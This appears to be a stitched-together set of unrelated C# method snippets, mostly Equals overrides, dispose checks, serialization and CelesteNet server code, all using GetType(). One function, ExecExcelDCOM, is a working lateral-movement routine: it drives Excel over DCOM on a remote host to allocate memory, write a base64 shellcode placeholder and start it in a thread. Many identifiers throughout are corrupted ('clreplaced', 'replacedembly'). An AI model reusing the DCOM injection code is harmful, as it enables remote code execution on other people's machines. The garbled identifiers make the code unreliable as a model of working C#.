object.GetType()

public override bool Equals(object? obj)
        {
            if (ReferenceEquals(null, obj)) return false;
            if (ReferenceEquals(this, obj)) return true;
            if (obj.GetType() != this.GetType()) return false;
            return Equals((ExprValue) obj);
        }

private void VerifyNotDisposed()
        {
            if (this.disposed)
            {
                ExceptionUtil.ThrowObjectDisposedException(GetType().Name);
            }
        }

private void CheckDisposed()
        {
            if (this._isDisposed > 0)
            {
                throw new ObjectDisposedException(GetType().Name);
            }
        }

public bool Equals(IExprName? x, IExprName? y)
            {
                if (ReferenceEquals(x, y)) return true;
                if (ReferenceEquals(x, null)) return false;
                if (ReferenceEquals(y, null)) return false;
                if (x.GetType() != y.GetType()) return false;
                return x.LowerInvariantName == y.LowerInvariantName;
            }

public override bool Equals(object? obj)
        {
            if (ReferenceEquals(null, obj)) return false;
            if (ReferenceEquals(this, obj)) return true;
            if (obj.GetType() != this.GetType()) return false;
            return Equals((ExprAlias) obj);
        }

public virtual string GetSource(DataContext ctx)
            => ctx.DataTypeToSource.TryGetValue(GetType(), out string? value) ? value : "";

public override bool Equals(object? obj)
            {
                if (ReferenceEquals(null, obj)) return false;
                if (ReferenceEquals(this, obj)) return true;
                if (obj.GetType() != this.GetType()) return false;
                return Equals((AllColumnTypesDto) obj);
            }

public void StartReadUDP() {
            if (UDP == null || ReadUDPThread != null)
                return;

            UDPLocalEndPoint = (IPEndPoint?) UDP.Client.LocalEndPoint;
            try {
                UDPRemoteEndPoint = (IPEndPoint?) UDP.Client.RemoteEndPoint;
            } catch (Exception) {
                UDPRemoteEndPoint = TCPRemoteEndPoint;
            }

            ReadUDPThread = new(ReadUDPLoop) {
                Name = $"{GetType().Name} ReadUDP ({Creator} - {GetHashCode()})",
                IsBackground = true
            };
            ReadUDPThread.Start();
        }

public override bool Equals(object obj) {
            if (ReferenceEquals(null, obj)) return false;
            if (ReferenceEquals(this, obj)) return true;
            if (obj.GetType() != typeof(DiscKeyInfo)) return false;
            return Equals((DiscKeyInfo)obj);
        }

public virtual string GetTypeID(DataContext ctx)
            => ctx.DataTypeToID.TryGetValue(GetType(), out string? value) ? value : "";

public override bool Equals(object? obj)
        {
            if (ReferenceEquals(null, obj)) return false;
            if (ReferenceEquals(this, obj)) return true;
            if (obj.GetType() != this.GetType()) return false;
            return Equals((ExprFunctionName) obj);
        }

public override bool Equals(object? obj)
        {
            if (ReferenceEquals(null, obj)) return false;
            if (ReferenceEquals(this, obj)) return true;
            if (obj.GetType() != this.GetType()) return false;
            return this.Equals((ExprColumn) obj);
        }

public void StartReadTCP() {
            if (TCP == null || ReadTCPThread != null)
                return;

            TCPLocalEndPoint = (IPEndPoint?) TCP.Client.LocalEndPoint;
            TCPRemoteEndPoint = (IPEndPoint?) TCP.Client.RemoteEndPoint;

            ReadTCPThread = new(ReadTCPLoop) {
                Name = $"{GetType().Name} ReadTCP ({Creator} - {GetHashCode()})",
                IsBackground = true
            };
            ReadTCPThread.Start();
        }

public override bool Equals(object? obj)
        {
            if (ReferenceEquals(null, obj)) return false;
            if (ReferenceEquals(this, obj)) return true;
            if (obj.GetType() != this.GetType()) return false;
            return this.Equals((ExprTableAlias) obj);
        }

public virtual void Save(TextWriter writer) {
            YamlHelper.Serializer.Serialize(writer, this, GetType());
        }

public override bool Equals(object? obj)
        {
            if (ReferenceEquals(null, obj)) return false;
            if (ReferenceEquals(this, obj)) return true;
            if (obj.GetType() != this.GetType()) return false;
            return Equals((TableRef) obj);
        }

public static void LogDetailedException(/*this*/ Exception? e, string? tag = null) {
            if (e == null)
                return;

            TextWriter w = Writer;

            if (tag == null) {
                w.WriteLine("--------------------------------");
                w.WriteLine("Detailed exception log:");
            }
            for (Exception? e_ = e; e_ != null; e_ = e_.InnerException) {
                w.WriteLine("--------------------------------");
                w.WriteLine(e_.GetType().FullName + ": " + e_.Message + "\n" + e_.StackTrace);

                switch (e_) {
                    case ReflectionTypeLoadException rtle:
                        if (rtle.Types != null)
                            for (int i = 0; i < rtle.Types.Length; i++)
                                w.WriteLine("ReflectionTypeLoadException.Types[" + i + "]: " + rtle.Types[i]);
                        if (rtle.LoaderExceptions != null)
                            for (int i = 0; i < rtle.LoaderExceptions.Length; i++)
                                LogDetailedException(rtle.LoaderExceptions[i], tag + (tag == null ? "" : ", ") + "rtle:" + i);
                        break;

                    case TypeLoadException tle:
                        w.WriteLine("TypeLoadException.TypeName: " + tle.TypeName);
                        break;

                    case BadImageFormatException bife:
                        w.WriteLine("BadImageFormatException.FileName: " + bife.FileName);
                        break;
                }
            }
        }

public static HeifReader CreateFromStream(Stream stream, bool ownsStream)
        {
            Validate.IsNotNull(stream, nameof(stream));

            HeifReader reader;

            // If the stream is a MemoryStream with an accessible buffer we can avoid
            // having to copy data to a temporary buffer when reading from the stream.
            // This check excludes types that are derived from MemoryStream because they may invalidate the
            // underlying buffer when the stream is disposed.
            if (stream.GetType() == typeof(MemoryStream) && ((MemoryStream)stream).TryGetBuffer(out var buffer))
            {
                reader = new HeifByteArrayReader(buffer);

                // The doreplacedentation for GetBuffer indicates that the buffer remains valid after the MemoryStream is disposed.
                if (ownsStream)
                {
                    stream.Dispose();
                }
            }
            else
            {
                if (stream.Length <= HeifStreamReader.MaxReadBufferSize)
                {
                    byte[] bytes = CopyStreamToByteArray(stream);

                    if (ownsStream)
                    {
                        stream.Dispose();
                    }

                    reader = new HeifByteArrayReader(bytes);
                }
                else
                {
                    reader = new HeifStreamReader(stream, ownsStream);
                }
            }

            return reader;
        }

public bool TryGet<T>([NotNullWhen(true)] out T? moduleT) where T : clreplaced {
            lock (Modules) {
                if (ModuleMap.TryGetValue(typeof(T), out CelesteNetServerModule? module)) {
                    moduleT = module as T ?? throw new Exception($"Incompatible types: Requested {typeof(T).FullName}, got {module.GetType().FullName}");
                    return true;
                }

                foreach (CelesteNetServerModule other in Modules)
                    if (other is T otherT) {
                        ModuleMap[typeof(T)] = other;
                        moduleT = otherT;
                        return true;
                    }
            }

            moduleT = null;
            return false;
        }

static void ExecExcelDCOM(string computername, string arch)
        {
            try
            {
                Type ComType = Type.GetTypeFromProgID("Excel.Application", computername);
		object RemoteComObject = Activator.CreateInstance(ComType);
                int lpAddress;
                if (arch == "x64")
                {
                    lpAddress = 1342177280;
                }
                else
                {
                    lpAddress = 0;
                }
                string strfn = ("$$PAYLOAD$$");
                byte[] benign = Convert.FromBase64String(strfn);

                var memaddr = Convert.ToDouble(RemoteComObject.GetType().InvokeMember("ExecuteExcel4Macro", BindingFlags.InvokeMethod, null, RemoteComObject, new object[] { "CALL(\"Kernel32\",\"VirtualAlloc\",\"JJJJJ\"," + lpAddress + "," + benign.Length + ",4096,64)" }));
                int count = 0;
                foreach (var mybyte in benign)
                {
                    var charbyte = String.Format("CHAR({0})", mybyte);
                    var ret = RemoteComObject.GetType().InvokeMember("ExecuteExcel4Macro", BindingFlags.InvokeMethod, null, RemoteComObject, new object[] { "CALL(\"Kernel32\",\"WriteProcessMemory\",\"JJJCJJ\",-1, " + (memaddr + count) + "," + charbyte + ", 1, 0)" });
                    count = count + 1;
                }
                RemoteComObject.GetType().InvokeMember("ExecuteExcel4Macro", BindingFlags.InvokeMethod, null, RemoteComObject, new object[] { "CALL(\"Kernel32\",\"CreateThread\",\"JJJJJJJ\",0, 0, " + memaddr + ", 0, 0, 0)" });
                Console.WriteLine("[+] Executing against      :   {0}", computername);
            }
            
            catch (Exception e)
            {
                Console.WriteLine("[-] Error: {0}", e.Message);
            }
            
        }

public override bool Equals(object? obj)
        {
            if (ReferenceEquals(null, obj)) return false;
            if (ReferenceEquals(this, obj)) return true;
            if (obj.GetType() != this.GetType()) return false;
            return this.Equals((ExprTable) obj);
        }

public override bool Equals(object? obj)
        {
            if (ReferenceEquals(null, obj)) return false;
            if (ReferenceEquals(this, obj)) return true;
            if (obj.GetType() != this.GetType()) return false;
            return Equals((ExprTableFullName) obj);
        }

public virtual void Load(string path = "") {
            FilePath = path = Path.GetFullPath(path.Nullify() ?? FilePath);

            if (!File.Exists(path)) {
                Save(path);
                return;
            }

            Logger.Log(LogLevel.INF, "settings", $"Loading {GetType().Name} from {path}");

            using Stream stream = File.OpenRead(path);
            using StreamReader reader = new(stream);
            Load(reader);
        }

public override bool Equals(object? obj)
        {
            if (ReferenceEquals(null, obj)) return false;
            if (ReferenceEquals(this, obj)) return true;
            if (obj.GetType() != this.GetType()) return false;
            return this.Equals((ExprAliasGuid) obj);
        }

private static Array DeserializeArray(Protocol16Stream input)
        {
            short size = DeserializeShort(input);
            byte typeCode = (byte)input.ReadByte();
            switch ((Protocol16Type)typeCode)
            {
                case Protocol16Type.Array:
                    {
                        Array array = DeserializeArray(input);
                        Type arrayType = array.GetType();
                        Array result = Array.CreateInstance(arrayType, size);
                        result.SetValue(array, 0);
                        for (short i = 1; i < size; i++)
                        {
                            array = DeserializeArray(input);
                            result.SetValue(array, i);
                        }

                        return result;
                    }
                case Protocol16Type.ByteArray:
                    {
                        byte[][] array = new byte[size][];
                        for (short i = 0; i < size; i++)
                        {
                            array[i] = DeserializeByteArray(input);
                        }

                        return array;
                    }
                case Protocol16Type.Dictionary:
                    {
                        DeserializeDictionaryArray(input, size, out Array result);

                        return result;
                    }
                default:
                    {
                        Type arrayType = GetTypeOfCode(typeCode);
                        Array result = Array.CreateInstance(arrayType, size);

                        for (short i = 0; i < size; i++)
                        {
                            result.SetValue(Deserialize(input, typeCode), i);
                        }

                        return result;
                    }
            }
        }

public override bool Equals(object? obj)
        {
            if (ReferenceEquals(null, obj)) return false;
            if (ReferenceEquals(this, obj)) return true;
            if (obj.GetType() != this.GetType()) return false;
            return Equals((ExprDatabaseName) obj);
        }

public override bool Equals(object? obj)
        {
            if (ReferenceEquals(null, obj)) return false;
            if (ReferenceEquals(this, obj)) return true;
            if (obj.GetType() != this.GetType()) return false;
            return Equals((ExprColumnAlias) obj);
        }

public MetaTypeWrap Wrap(DataContext ctx, MetaType meta) {
            ID = ctx.MetaTypeToID[meta.GetType()];
            meta.Write(ctx, this);
            return this;
        }

public bool Equals(IExprName? x, IExprName? y)
            {
                if (ReferenceEquals(x, y)) return true;
                if (ReferenceEquals(x, null)) return false;
                if (ReferenceEquals(y, null)) return false;
                if (x.GetType() != y.GetType()) return false;
                return x.Name == y.Name;
            }

public virtual void Save(string path = "") {
            path = Path.GetFullPath(path.Nullify() ?? FilePath);

            Logger.Log(LogLevel.INF, "settings", $"Saving {GetType().Name} to {path}");

            string? dir = Path.GetDirectoryName(path);
            if (!string.IsNullOrEmpty(dir) && !Directory.Exists(dir))
                Directory.CreateDirectory(dir);

            using (Stream stream = File.OpenWrite(path + ".tmp"))
            using (StreamWriter writer = new(stream))
                Save(writer);

            if (File.Exists(path))
                File.Delete(path);
            File.Move(path + ".tmp", path);
        }

public override bool Equals(object? obj)
        {
            if (ReferenceEquals(null, obj)) return false;
            if (ReferenceEquals(this, obj)) return true;
            if (obj.GetType() != this.GetType()) return false;
            return Equals((ExprSchemaName) obj);
        }

[Obsolete("Use CelesteNetBinaryReader instead.")]
        public virtual void Read(DataContext ctx, BinaryReader reader)
            => throw new NotSupportedException($"Obsolete, {GetType()} doesn't implement this anymore. Use Read(CelesteNetBinaryReader) instead.");

public override bool Equals(object? obj)
        {
            if (ReferenceEquals(null, obj)) return false;
            if (ReferenceEquals(this, obj)) return true;
            if (obj.GetType() != this.GetType()) return false;
            return Equals((ExprTableName) obj);
        }

public static bool CacheObject(KeysetId setId, string key, object obj, TimeSpan validFor)
        {
            bool result;

            if (setId != null)
            {
                if (!CacheSet.AddKey(setId, key))
                    Log.Warning("cacheKeyset for {0} could not be added. (key={1})", setId, key);
            }

            if (validFor == TimeSpan.MinValue)
                result = Program.DataCacheInstance.Instance.Set(key, obj);
            else
                result = Program.DataCacheInstance.Instance.Set(key, obj, validFor);

            if (!result)
            {
                Log.Warning("obj({0}) could not be cached for key:{1}", obj.GetType(), key);
                return false;
            }
            
            return true;
        }

public override bool Equals(object? obj)
        {
            if (ReferenceEquals(null, obj)) return false;
            if (ReferenceEquals(this, obj)) return true;
            if (obj.GetType() != this.GetType()) return false;
            return Equals((ColumnRef) obj);
        }

public void RegisterHandlersIn(object owner) {
            if (RegisteredHandlers.ContainsKey(owner))
                return;

            List<Tuple<Type, DataHandler>> handlers = RegisteredHandlers[owner] = new();
            List<Tuple<Type, DataFilter>> filters = RegisteredFilters[owner] = new();

            foreach (MethodInfo method in owner.GetType().GetMethods()) {
                if (method.Name == "Handle" || method.Name == "Filter") {
                    ParameterInfo[] args = method.GetParameters();
                    if (args.Length != 2 || !args[0].ParameterType.IsCompatible(typeof(CelesteNetConnection)))
                        continue;

                    Type argType = args[1].ParameterType;
                    if (!argType.IsCompatible(typeof(DataType)))
                        continue;

                    if (method.Name == "Filter") {
                        Logger.Log(LogLevel.VVV, "data", $"Autoregistering filter for {argType}: {method.GetID()}");
                        DataFilter filter = (con, data) => method.Invoke(owner, new object[] { con, data }) as bool? ?? false;
                        filters.Add(Tuple.Create(argType, filter));
                        RegisterFilter(argType, filter);

                    } else {
                        Logger.Log(LogLevel.VVV, "data", $"Autoregistering handler for {argType}: {method.GetID()}");
                        DataHandler handler = (con, data) => method.Invoke(owner, new object[] { con, data });
                        handlers.Add(Tuple.Create(argType, handler));
                        RegisterHandler(argType, handler);
                    }
                }
            }
        }

public async Task Exec(IScenarioContext context)
            {
                foreach (var scenario in this._scenarios)
                {
                    context.WriteLine($"--{scenario.GetType().Name}--");
                    context.WriteLine(null);

                    await scenario.Exec(context);
                    context.WriteLine(null);
                }
            }

public void Load() {
            if (Module != null)
                return;
            Logger.Log(LogLevel.INF, "module", $"Loading {ID}");

            Loadreplacedembly();

            if (replacedembly == null)
                throw new Exception($"Failed to load replacedembly for {ID} - {replacedemblyPath}");

            foreach (Type type in replacedembly.GetTypes()) {
                if (typeof(CelesteNetServerModule).IsreplacedignableFrom(type) && !type.IsAbstract) {
                    Module = (CelesteNetServerModule?) Activator.CreateInstance(type);
                    break;
                }
            }

            if (Module == null)
                throw new Exception($"Found no module clreplaced in {ID} - {replacedemblyPath}");

            lock (Server.Modules) {
                Server.Modules.Add(Module);
                Server.ModuleMap[Module.GetType()] = Module;
            }

            if (Server.Initialized) {
                Logger.Log(LogLevel.INF, "module", $"Initializing {ID} (late)");
                Module.Init(this);
                if (Server.IsAlive) {
                    Logger.Log(LogLevel.INF, "module", $"Starting {ID} (late)");
                    Module.Start();
                }
                Server.Data.RescanDataTypes(replacedembly.GetTypes());
            }
        }

protected void VerifyNotDisposed()
        {
            if (this.disposed)
            {
                ExceptionUtil.ThrowObjectDisposedException(GetType().Name);
            }
        }

public static IDeserializer DeserializerUsing(object objectToBind) {
            IObjectFactory defaultObjectFactory = new DefaultObjectFactory();
            Type objectType = objectToBind.GetType();

            return new DeserializerBuilder()
                .IgnoreUnmatchedProperties()
                // provide the given object if type matches, fall back to default behavior otherwise.
                .WithObjectFactory(type => type == objectType ? objectToBind : defaultObjectFactory.Create(type))
                .WithTypeConverter(new ColorYamlTypeConverter())
                .Build();
        }

protected void VerifyNotDisposed()
        {
            if (this.disposed)
            {
                throw new ObjectDisposedException(GetType().Name);
            }
        }

private static void SerializeArrayWithSameElements(Protocol16Stream output, Array array, bool writeTypeCode)
        {
            if (array.Length > short.MaxValue)
            {
                throw new NotSupportedException($"Arrays can only have a maximum size of {short.MaxValue} (short.MaxValue). Yours is: {array.Length}");
            }
            output.WriteTypeCodeIfTrue(Protocol16Type.Array, writeTypeCode);
            SerializeShort(output, (short)array.Length, false);

            Type elementType = array.GetType().GetElementType();

            Protocol16Type protocol16Type = TypeCodeToProtocol16Type(elementType);
            if (protocol16Type == Protocol16Type.Unknown)
            {
                throw new Exception("Custom types are currently not supported");
            }
            output.WriteTypeCodeIfTrue(protocol16Type, true);
            if (protocol16Type == Protocol16Type.Dictionary)
            {
                // WTF ExitGames, why are you trying to get GetGenericArguments() of an array..?!
                // I think what you wanted to do is just give the element type to SerializeDictionaryHeader not the array type
                SerializeDictionaryHeader(output, elementType, out var writeKeyCode, out var writeValueCode);
                foreach (var o in array)
                {
                    SerializeDictionaryElements(output, (IDictionary)o, writeKeyCode, writeValueCode);
                }
            }
            else
            {
                foreach (object o in array)
                {
                    Serialize(output, o, false);
                }
            }
        }

private static IEnumerable<PropertyInfo> GetProperties(object param)
        {
            return ParamProperties.GetOrAdd(param.GetType(), key =>
            {
                return key.GetProperties().Where(p => p.CanRead).ToList();
            });
        }

public override bool Equals(object? obj)
        {
            if (ReferenceEquals(null, obj)) return false;
            if (ReferenceEquals(this, obj)) return true;
            if (obj.GetType() != this.GetType()) return false;
            return Equals((ExprDbSchema) obj);
        }

public virtual T Get<T>(DataContext ctx) where T : MetaType<T>
            => TryGet(ctx, out T? value) ? value : throw new Exception($"DataType {ctx.DataTypeToID[GetType()]} doesn't have MetaType {ctx.MetaTypeToID[typeof(T)]}.");

public static void Serialize(Protocol16Stream output, object obj, bool writeTypeCode)
        {
            if (obj == null)
            {
                output.WriteTypeCodeIfTrue(Protocol16Type.Null, writeTypeCode);
                return;
            }

            Protocol16Type type = TypeCodeToProtocol16Type(obj.GetType());
            switch (type)
            {
                case Protocol16Type.Boolean:
                    SerializeBoolean(output, (bool)obj, writeTypeCode);
                    return;
                case Protocol16Type.Byte:
                    SerializeByte(output, (byte)obj, writeTypeCode);
                    return;
                case Protocol16Type.Short:
                    SerializeShort(output, (short)obj, writeTypeCode);
                    return;
                case Protocol16Type.Integer:
                    SerializeInteger(output, (int)obj, writeTypeCode);
                    return;
                case Protocol16Type.Long:
                    SerializeLong(output, (long)obj, writeTypeCode);
                    return;
                case Protocol16Type.Float:
                    SerializeFloat(output, (float)obj, writeTypeCode);
                    return;
                case Protocol16Type.Double:
                    SerializeDouble(output, (double)obj, writeTypeCode);
                    return;
                case Protocol16Type.String:
                    SerializeString(output, (string)obj, writeTypeCode);
                    return;
                case Protocol16Type.EventData:
                    SerializeEventData(output, (EventData)obj, writeTypeCode);
                    return;
                case Protocol16Type.Hashtable:
                    SerializeHashtable(output, (Hashtable)obj, writeTypeCode);
                    return;
                case Protocol16Type.Dictionary:
                    SerializeDictionary(output, (IDictionary)obj, writeTypeCode);
                    return;
                case Protocol16Type.OperationResponse:
                    SerializeOperationResponse(output, (OperationResponse)obj, writeTypeCode);
                    return;
                case Protocol16Type.OperationRequest:
                    SerializeOperationRequest(output, (OperationRequest)obj, writeTypeCode);
                    return;
                case Protocol16Type.IntegerArray:
                case Protocol16Type.StringArray:
                case Protocol16Type.ByteArray:
                case Protocol16Type.ObjectArray:
                case Protocol16Type.Array:
                    SerializeAnyArray(output, (Array)obj, writeTypeCode, type);
                    return;
            }

            // Special case
            if (obj is ArraySegment<byte> arraySegment)
            {
                SerializeArraySegment(output, arraySegment, writeTypeCode);
                return;
            }

            throw new ArgumentException($"Cannot serialize objects of type {obj.GetType()} / System.TypeCode: {Type.GetTypeCode(obj.GetType())}");
        }

private static void SerializeDictionary(Protocol16Stream output, IDictionary dictionary, bool writeTypeCode)
        {
            output.WriteTypeCodeIfTrue(Protocol16Type.Dictionary, writeTypeCode);

            SerializeDictionaryHeader(output, dictionary.GetType(), out var writeKeyCode, out var writeValueCode);
            SerializeDictionaryElements(output, dictionary, writeKeyCode, writeValueCode);
        }

public virtual void Load(TextReader reader) {
            YamlHelper.DeserializerUsing(this).Deserialize(reader, GetType());
        }

[Obsolete("Use CelesteNetBinaryWriter instead.")]
        public virtual void Write(DataContext ctx, BinaryWriter writer)
            => throw new NotSupportedException($"Obsolete, {GetType()} doesn't implement this anymore. Use Write(CelesteNetBinaryWriter) instead.");

public override bool Equals(object? obj)
        {
            if (ReferenceEquals(null, obj)) return false;
            if (ReferenceEquals(this, obj)) return true;
            if (obj.GetType() != this.GetType()) return false;
            return Equals((ExprColumnName) obj);
        }